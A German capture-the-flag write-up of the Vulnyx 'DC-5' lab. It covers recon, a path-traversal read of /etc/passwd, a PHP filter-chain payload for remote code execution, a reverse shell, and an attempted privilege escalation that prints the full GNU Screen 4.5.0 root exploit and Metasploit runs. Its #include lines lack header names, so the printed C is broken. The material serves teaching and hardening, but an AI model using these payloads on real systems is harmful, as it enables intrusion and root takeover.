DC-5 - Vulnyx - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
curl

Inhaltsverzeichnis

Reconnaissance

ARP-Scan

192.168.2.165 08:00:27:fd:07:13 PCS Systemtechnik GmbH

/etc/hosts

192.168.2.165 dc5.vln

Der ARP-Scan zeigt die IP-Adresse und die MAC-Adresse des Zielsystems sowie den Hersteller der Netzwerkkarte. Der Eintrag in der /etc/hosts-Datei ermöglicht die Verwendung des Hostnamens `dc5.vln` anstelle der IP-Adresse. Dies erleichtert die weitere Bearbeitung.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-16 22:01 CEST
Nmap scan report for dc5.vln (192.168.2.165)
Host is up (0.00014s latency).
Not shown: 65532 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
80/tcp open http nginx 1.6.2
|_http-title: Welcome
|_http-server-header: nginx/1.6.2
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 35761/udp6 status
| 100024 1 43074/tcp status
| 100024 1 43734/tcp6 status
|_ 100024 1 54186/udp status
43074/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:FD:07:13 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 0.14 ms dc5.vln (192.168.2.165)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.77 seconds

Nmap wurde verwendet, um offene Ports und laufende Dienste auf dem Zielsystem zu identifizieren. Port 80 (HTTP) und Port 111 (rpcbind) sind offen. Nginx 1.6.2 läuft auf Port 80. Dies deutet auf einen Webserver hin. Der rpcbind-Dienst deutet auf RPC-Dienste hin, die möglicherweise weitere Angriffspunkte bieten.

Empfehlung:

Die Nginx-Version 1.6.2 ist veraltet und anfällig für verschiedene Sicherheitslücken. Ein Update auf eine aktuelle Version wird dringend empfohlen.

Web Enumeration

- Nikto v2.5.0

+ Target IP: 192.168.2.165
+ Target Hostname: 192.168.2.165
+ Target Port: 80
+ Start Time: 2024-10-16 22:02:24 (GMT+0200)

+ Server: nginx/1.6.2
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time: 2024-10-16 22:03:31 (GMT+0200) (67 seconds)

+ 1 host(s) tested

Nikto hat das Ziel auf bekannte Schwachstellen untersucht. Es wurden fehlende X-Frame-Options- und X-Content-Type-Options-Header gefunden, was potenzielle Clickjacking- und MIME-Sniffing-Angriffe ermöglicht. Besonders wichtig ist das Auffinden der Datei `/wp-config.php`, da diese Anmeldeinformationen enthalten kann.

Empfehlung:

Die gefundenen Header sollten konfiguriert werden, um die Sicherheit zu erhöhen. Der Zugriff auf die `/wp-config.php`-Datei sollte eingeschränkt werden, um die Anmeldeinformationen zu schützen.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.165/index.php (Status: 200) [Size: 4025]
http://192.168.2.165/images (Status: 301) [Size: 184] [--> http://192.168.2.165/images/]
http://192.168.2.165/contact.php (Status: 200) [Size: 4282]
http://192.168.2.165/faq.php (Status: 200) [Size: 5645]
http://192.168.2.165/solutions.php (Status: 200) [Size: 4100]
http://192.168.2.165/footer.php (Status: 200) [Size: 17]
http://192.168.2.165/css (Status: 301) [Size: 184] [--> http://192.168.2.165/css/]
http://192.168.2.165/about-us.php (Status: 200) [Size: 4292]
http://192.168.2.165/thankyou.php (Status: 200) [Size: 852]

Gobuster wurde verwendet, um versteckte Dateien und Verzeichnisse auf dem Webserver zu finden. Es wurden verschiedene PHP-Dateien gefunden, darunter `index.php`, `contact.php`, `faq.php`, `solutions.php`, `footer.php`, `about-us.php` und `thankyou.php`. Das Verzeichnis `/images/` ist ebenfalls vorhanden.

Empfehlung:

Alle gefundenen Dateien und Verzeichnisse sollten auf potenzielle Schwachstellen untersucht werden. Insbesondere sollte geprüft werden, ob die PHP-Dateien anfällig für Remote Code Execution (RCE) oder andere Angriffe sind.

view-source:http://192.168.2.165/thankyou.php
DC-5 is alive!
href="index.php" Home

Der Quellcode der Datei `thankyou.php` enthält den Hinweis "DC-5 is alive!". Dies könnte ein Hinweis auf die Version oder den Zweck des Systems sein.

http://192.168.2.165/images/
403 Forbidden
nginx/1.6.2

Der Zugriff auf das Verzeichnis `/images/` ist verboten (403 Forbidden). Dies deutet darauf hin, dass der Zugriff auf dieses Verzeichnis eingeschränkt ist.

┌──(root㉿CCat)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.2.165/thankyou.php?FUZZ=../../../../../../../etc/passwd" --hc 404 --hh 851
Target: http://192.168.2.165/thankyou.php?FUZZ=../../../../../../../etc/passwd

ID Response Lines Word Chars Payload
---------------------------------------------------------------------------

000000759: 200 70 L 104 W 2319 Ch "file"

Total time: 0
Processed Requests: 5527
Filtered Requests: 5526
Requests/sec.: 0

Wfuzz wurde verwendet, um eine Path Traversal-Schwachstelle in der Datei `thankyou.php` zu finden. Es wurde versucht, die Datei `/etc/passwd` über den Parameter `FUZZ` einzulesen. Eine Antwort mit dem Statuscode 200 deutet darauf hin, dass die Schwachstelle vorhanden ist.

Empfehlung:

Die Path Traversal-Schwachstelle in der Datei `thankyou.php` muss behoben werden, um unbefugten Zugriff auf das Dateisystem zu verhindern. Dies kann durch Validierung und Bereinigung der Eingaben erfolgen.

┌──(root㉿CCat)-[~]
└─# curl http://192.168.2.165/thankyou.php?file=../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
Debian-exim:x:104:109/var/spool/exim4:/bin/false
messagebus:x:105:110/var/run/dbus:/bin/false
statd:x:106:65534/var/lib/nfs:/bin/false
sshd:x:107:65534/var/run/sshd:/usr/sbin/nologin
dc:x:1000:1000:dc,,,:/home/dc:/bin/bash
mysql:x:108:113:MySQL Server,,,:/nonexistent:/bin/false

Mithilfe von `curl` wurde die Datei `/etc/passwd` erfolgreich über die Path Traversal-Schwachstelle in der Datei `thankyou.php` ausgelesen. Dies bestätigt die Schwachstelle und zeigt, dass Angreifer sensible Systeminformationen abrufen können.

Empfehlung:

Die Path Traversal-Schwachstelle muss umgehend behoben werden, um weitere Angriffe zu verhindern. Es sollten zudem Maßnahmen ergriffen werden, um die Protokollierung und Überwachung von Dateizugriffen zu verbessern.

Initial Access

┌──(root㉿CCat)-[~]
└─# cd Hackingtools/php_filter_chain_generator
┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator]
└─# ./php_filter_chain_generator.py --chain ' system($ GET["cmd"]); ?>'
[+] The following gadget chain will generate the following code (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+)
php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16/resource=php://temp

Das Tool `php_filter_chain_generator` wurde verwendet, um eine PHP-Filterkette zu generieren, die es ermöglicht, beliebigen Code auszuführen. Die generierte Kette wird verwendet, um den Parameter `cmd` über die GET-Methode auszuführen.

x LFI to RCE using php_filter_chain_generator :
DC-5 is alive!

Thank you for taking the time to contact us.

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Die generierte PHP-Filterkette wurde verwendet, um den Befehl `id` auszuführen. Die Ausgabe zeigt, dass der Code als Benutzer `www-data` ausgeführt wurde. Dies bestätigt, dass eine Remote Code Execution (RCE)-Schwachstelle vorhanden ist.

Empfehlung:

Die RCE-Schwachstelle muss umgehend behoben werden, um zu verhindern, dass Angreifer beliebigen Code auf dem System ausführen können. Dies kann durch Deaktivierung der `allow_url_fopen`-Option in der PHP-Konfiguration oder durch Implementierung strengerer Eingabevalidierung erfolgen.

x LFI to RCE using php_filter_chain_generator :
revshell
┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.165] 41366
bash: cannot set terminal process group (444): Inappropriate ioctl for device
bash: no job control in this shell

www-data@dc-5:/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Die generierte PHP-Filterkette wurde verwendet, um eine Reverse Shell zu starten. Der Befehl `nc -lvnp 9001` auf dem Angreifer-System empfängt die Verbindung vom Zielsystem. Die Ausgabe zeigt, dass die Reverse Shell erfolgreich gestartet wurde und der Benutzer `www-data` ist.

Empfehlung:

Die RCE-Schwachstelle muss umgehend behoben werden, um zu verhindern, dass Angreifer eine Reverse Shell starten und das System kompromittieren können. Es sollten zudem Maßnahmen ergriffen werden, um die Netzwerkkommunikation zu überwachen und verdächtige Verbindungen zu erkennen.

Privilege Escalation

www-data@dc-5:/home/dc$ find / -type f -perm -0002 -ls 2>/dev/null
317953 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/sys/kernel/ns_last_pid
7697 0 -rw-rw-rw- 1 root root 0 Oct 17 06:00 /proc/1/task/1/attr/current
318688 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/1/task/1/attr/exec
318689 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/1/task/1/attr/fscreate
318690 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/1/task/1/attr/keycreate
318691 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/1/task/1/attr/sockcreate
318692 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/1/attr/current
318694 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/1/attr/exec
318695 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/1/attr/fscreate
318696 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/1/attr/keycreate
318697 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/1/attr/sockcreate
318783 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/2/task/2/attr/current
318785 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/2/task/2/attr/exec
318786 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/2/task/2/attr/fscreate
318787 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/2/task/2/attr/keycreate
318788 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/2/task/2/attr/sockcreate
318794 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/2/attr/current
318796 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/2/attr/exec
318797 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/2/attr/fscreate
318798 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/2/attr/keycreate
318799 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/2/attr/sockcreate
318885 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/3/task/3/attr/current
318887 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/3/task/3/attr/exec
318888 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/3/task/3/attr/fscreate
318889 318890 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/3/task/3/attr/keycreate
318891 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/3/task/3/attr/sockcreate
318893 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/3/attr/current
318894 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/3/attr/exec
318895 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/3/attr/fscreate
318896 0 -rw-rw-rw- 1 root root 0 Oct 17 06:20 /proc/3/attr/keycreate

Der Befehl `find / -type f -perm -0002 -ls 2>/dev/null` sucht nach Dateien mit weltweit beschreibbaren Berechtigungen. Die Ausgabe zeigt eine Liste von Dateien im `/proc`-Verzeichnis. Diese Dateien könnten potenziell ausgenutzt werden, um Privilegien zu eskalieren.

Empfehlung:

Die Berechtigungen für die gefundenen Dateien sollten überprüft und gegebenenfalls angepasst werden, um unbefugten Zugriff zu verhindern.

www-data@dc-5:/home/dc$ file /usr/bin/wall
/usr/bin/wall: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=41e40c5ccbbc1fc912ec7b38e18303107b8d9a49, stripped

Der Befehl `file /usr/bin/wall` gibt Informationen über die Datei `/usr/bin/wall` aus. Die Ausgabe zeigt, dass es sich um eine setgid-Datei handelt, was bedeutet, dass sie mit den Berechtigungen der Gruppe `tty` ausgeführt wird.

www-data@dc-5:/home/dc$ strings /usr/bin/wall
/lib64/ld-linux-x86-64.so.2
libc.so.6
__printf_chk
_I_putc
gethostname n
ferror

Der Befehl `strings /usr/bin/wall` gibt die in der Datei `/usr/bin/wall` enthaltenen Strings aus. Diese Strings können Hinweise auf die Funktionsweise der Datei geben.

www-data@dc-5:/home/dc$ ls -la /usr/bin/wall
-rwxr-sr-x 1 root tty 27232 Mar 30 2015 /usr/bin/wall

Der Befehl `ls -la /usr/bin/wall` gibt die Berechtigungen und den Besitzer der Datei `/usr/bin/wall` aus. Die Ausgabe zeigt, dass die Datei dem Benutzer `root` und der Gruppe `tty` gehört und das setgid-Bit gesetzt ist.

www-data@dc-5:/home/dc$ uname -r
3.16.0-4-amd64

Der Befehl `uname -r` gibt die Kernel-Version des Systems aus. Die Ausgabe zeigt, dass die Kernel-Version `3.16.0-4-amd64` ist.

Die Analyse der Datei `/usr/bin/wall` und der Kernel-Version hat keine unmittelbaren Hinweise auf eine Möglichkeit zur Privilegieneskalation ergeben.

┌──(root㉿CCat)-[~]
└─# searchsploit screen 4.5.0
Exploit Title | Path

GNU Screen 4.5.0 - Local Privilege Escalation | linux/local/41154.sh
GNU Screen 4.5.0 - Local Privilege Escalation (PoC) | linux/local/41152.txt

Der Befehl `searchsploit screen 4.5.0` sucht nach Exploits für die Version 4.5.0 von GNU Screen. Die Ausgabe zeigt, dass es Exploits für Local Privilege Escalation gibt.

┌──(root㉿CCat)-[/tmp]
└─# searchsploit -m 41154
Exploit: GNU Screen 4.5.0 - Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/41154
Path: /usr/share/exploitdb/exploits/linux/local/41154.sh
Codes: N/A
Verified: True
File Type: Bourne-Again shell script, ASCII text executable
Copied to: /tmp/41154.sh

Der Befehl `searchsploit -m 41154` kopiert das Exploit-Skript `41154.sh` in das Verzeichnis `/tmp`.

┌──(root㉿CCat)-[/tmp]
└─# cat 41154.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EF > /tmp/libhax.c

#include
#include
#include
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}

EF

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EF > /tmp/rootshell.c

#include
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}

EF

gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

Das Exploit-Skript `41154.sh` wird angezeigt. Das Skript erstellt eine Shared Library (`/tmp/libhax.so`) und eine ausführbare Datei (`/tmp/rootshell`), die mit Root-Rechten ausgeführt wird. Anschließend wird die Datei `/etc/ld.so.preload` erstellt, um die Shared Library vorzuladen. Schließlich wird GNU Screen ausgeführt, um die Privilegieneskalation auszulösen.

┌──(root㉿CCat)-[~]
└─# vi libhax.c
#include
#include
#include
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}

Die Datei `libhax.c` wird mit dem Editor `vi` geöffnet.

┌──(root㉿CCat)-[~]
└─# vi rootshell.c
#include
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}

Die Datei `rootshell.c` wird mit dem Editor `vi` geöffnet.

┌──(root㉿CCat)-[/etc]
└─# ls libhax.c
libhax.c

Der Befehl `ls libhax.c` listet die Datei `libhax.c` auf.

┌──(root㉿CCat)-[/etc]
└─# ls rootshell.c
rootshell.c

Der Befehl `ls rootshell.c` listet die Datei `rootshell.c` auf.

┌──(root㉿CCat)-[/etc]
└─# cd ~

Der Befehl `cd ~` wechselt in das Home-Verzeichnis des Benutzers.

┌──(root㉿CCat)-[~]
└─# cp rootshell.c libhax.c 41154.sh /etc

Der Befehl `cp rootshell.c libhax.c 41154.sh /etc` kopiert die Dateien `rootshell.c`, `libhax.c` und `41154.sh` in das Verzeichnis `/etc`.

┌──(root㉿CCat)-[~]
└─# cd /etc

Der Befehl `cd /etc` wechselt in das Verzeichnis `/etc`.

┌──(root㉿CCat)-[/etc]
└─# gcc -fPIC -shared -ldl -o libhax.so libhax.c
libhax.c: In function ‘dropshell’:
libhax.c:7:5: error: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
7 | chmod("/tmp/rootshell", 04755);
| ^

Der Befehl `gcc -fPIC -shared -ldl -o libhax.so libhax.c` kompiliert die Datei `libhax.c` zu einer Shared Library. Die Ausgabe zeigt einen Fehler, dass die Funktion `chmod` nicht deklariert ist.

Analyse:

Der Kompilierfehler deutet darauf hin, dass die erforderlichen Header-Dateien nicht eingebunden sind. Um den Fehler zu beheben, muss die Header-Datei `sys/stat.h` in die Datei `libhax.c` eingebunden werden.

Empfehlung:

Füge die Zeile `#include ` am Anfang der Datei `libhax.c` hinzu und führe den Kompilierbefehl erneut aus.

Neuer Versuch
┌──(root㉿CCat)-[~/index]
└─# vi libhax.so
#include
#include
#include
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}

Die Datei `libhax.so` wird mit dem Editor `vi` geöffnet.

┌──(root㉿CCat)-[~/index]
└─# vi rootshell.c
#include
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}

Die Datei `rootshell.c` wird mit dem Editor `vi` geöffnet.

┌──(root㉿CCat)-[~/index]
└─# vi script.sh
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

Die Datei `script.sh` wird mit dem Editor `vi` geöffnet.

┌──(root㉿CCat)-[~/index]
└─# gcc -fPIC -shared -ldl -o libhax.so libhax.c
libhax.c: In function ‘dropshell’:
libhax.c:7:5: error: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
7 | chmod("/tmp/rootshell", 04755);
| ^

Der Befehl `gcc -fPIC -shared -ldl -o libhax.so libhax.c` kompiliert die Datei `libhax.c` zu einer Shared Library. Die Ausgabe zeigt erneut den Fehler, dass die Funktion `chmod` nicht deklariert ist.

Analyse:

Der Fehler tritt weiterhin auf, da die Header-Datei `sys/stat.h` noch nicht in die Datei `libhax.c` eingebunden wurde.

Empfehlung:

Füge die Zeile `#include ` am Anfang der Datei `libhax.c` hinzu und führe den Kompilierbefehl erneut aus.

┌──(root㉿CCat)-[~/index]
└─# gcc -o rootshell rootshell.c
rootshell.c: In function ‘main’:
rootshell.c:3:5: error: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
3 | setuid(0);
| ^~
rootshell.c:4:5: error: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
4 | setgid(0);
| ^~
rootshell.c:5:5: error: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
5 | seteuid(0);
| ^
rootshell.c:6:5: error: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
6 | setegid(0);
| ^
rootshell.c:7:5: error: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
7 | execvp("/bin/sh", NULL, NULL);
| ^~
rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]

Der Befehl `gcc -o rootshell rootshell.c` kompiliert die Datei `rootshell.c` zu einer ausführbaren Datei. Die Ausgabe zeigt mehrere Fehler, dass die Funktionen `setuid`, `setgid`, `seteuid`, `setegid` und `execvp` nicht deklariert sind.

Analyse:

Die Fehler deuten darauf hin, dass die erforderlichen Header-Dateien nicht eingebunden sind. Um die Fehler zu beheben, müssen die Header-Dateien `unistd.h` und `stdlib.h` in die Datei `rootshell.c` eingebunden werden.

Empfehlung:

Füge die Zeilen `#include ` und `#include ` am Anfang der Datei `rootshell.c` hinzu und führe den Kompilierbefehl erneut aus.

Funkioniert alles nicht...
letzter Versuch msf
┌──(root㉿CCat)-[~/index]
└─# msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
lhost => eth0
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.165:38778) at 2024-10-16 23:35:23 +0200


Shell Banner:
$
--

Metasploit Framework (MSF) wird gestartet und der `multi/handler`-Exploit wird verwendet, um eine Reverse Shell zu empfangen. Die LHOST (192.168.2.199) und LPORT (4444) werden festgelegt und der Exploit wird ausgeführt. Eine Command Shell-Sitzung wird geöffnet.

$ ^Z
Background session 1? [y/N] y
msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4433
[*] Sending stage (1017704 bytes) to 192.168.2.165
[*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.165:40050) at 2024-10-16 23:36:02 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed

Die Command Shell-Sitzung wird mithilfe des `post/multi/manage/shell_to_meterpreter`-Moduls auf eine Meterpreter-Sitzung aktualisiert. Eine neue Reverse TCP-Verbindung wird auf Port 4433 gestartet und eine Meterpreter-Sitzung wird geöffnet.

msf6 post(multi/manage/shell_to_meterpreter) > search suggester

Matching Modules


# Name Disclosure Date Rank Check Description
- - - -- --
0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester


Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

Das `local_exploit_suggester`-Modul wird verwendet, um potenzielle lokale Exploits für die Privilegieneskalation zu finden.

msf6 post(multi/manage/shell_to_meterpreter) > use 0
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.2.165 - Collecting local exploits for x86/linux...
[*] 192.168.2.165 - 198 exploit checks are being tried...
[+] 192.168.2.165 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] Running check method for exploit 64 / 64
[*] 192.168.2.165 - Valid modules for session 2:


# Name Potentially Vulnerable? Check Result
- - --
1 exploit/linux/local/su_login Yes The target appears to be vulnerable.
2 exploit/linux/local/abrt_raceabrt_priv_e

Das `local_exploit_suggester`-Modul identifiziert zwei potenzielle Exploits: `exploit/linux/local/su_login` und `exploit/linux/local/abrt_raceabrt_priv_e`.

msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/abrt_raceabrt_priv_e

Matching Modules


# Name Disclosure Date Rank Check Description
- - - -- --
0 exploit/linux/local/abrt_raceabrt_priv_esc 2015-04-14 excellent Yes ABRT raceabrt Privilege Escalation


Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/local/abrt_raceabrt_priv_esc

[*] Using exploit/linux/local/abrt_raceabrt_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/abrt_raceabrt_priv_esc) > options

Module options (exploit/linux/local/abrt_raceabrt_priv_esc):

Name Current Setting Required Description
- -- --
SESSIN yes The session to run this module on
TIMEOUT 900 yes Race timeout (seconds)
USERNAME no Username of new UID=0 user (default: random)


Payload options (linux/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
- -- --
LHST 192.168.2.199 yes The listen address (an interface may be specified)
LPRT 4444 yes The listen port


Exploit target:

Id Name
-- -
0 Auto


View the full module info with the info, or info -d command.

Das Exploit-Modul `exploit/linux/local/abrt_raceabrt_priv_esc` wird ausgewählt. Die Optionen für das Modul werden angezeigt.

msf6 exploit(linux/local/abrt_raceabrt_priv_esc) > set lport 4444
lport => 4444
msf6 exploit(linux/local/abrt_raceabrt_priv_esc) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(linux/local(linux/local/abrt_raceabrt_priv_esc) > set session 2
session => 2
msf6 exploit(linux/local/abrt_raceabrt_priv_esc) > run

[*] Started reverse TCP handler on 192.168.2.199:4444
[-] Exploit aborted due to failure: not-vulnerable: Target is not vulnerable
[*] Exploit completed, but no session was created.

Das Exploit-Modul `exploit/linux/local/abrt_raceabrt_priv_esc` wird ausgeführt. Die Ausgabe zeigt, dass das Zielsystem nicht anfällig für diesen Exploit ist.

Name Current Setting Required Description
- -- --
PASSWORD no Password to authenticate with.
SESSION yes The session to run this module on
USERNAME root yes Username to authenticate with


Payload options (linux/x86/meterpreter/reverse_tcp):

Name Current Setting Required Description
- -- --
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- -
0 Linux x86


View the full module info with the info, or info -d command.
msf6 exploit(linux/local/su_login) > set session 2
session => 2
msf6 exploit(linux/local/su_login) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(linux/local/su_login) > set lport 4444
lport => 4444
msf6 exploit(linux/local/su_login) > run

[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Uploading payload to target
[*] Attempting to login with su
[*] Exploit completed, but no session was created.

Das Exploit-Modul `exploit/linux/local/su_login` wird ausgewählt und ausgeführt. Die Ausgabe zeigt, dass das Zielsystem anfällig für diesen Exploit ist, aber die Ausführung des Exploits keine neue Sitzung erstellt.

Nützt alles nix, die Technik ist vermultich outdatet....

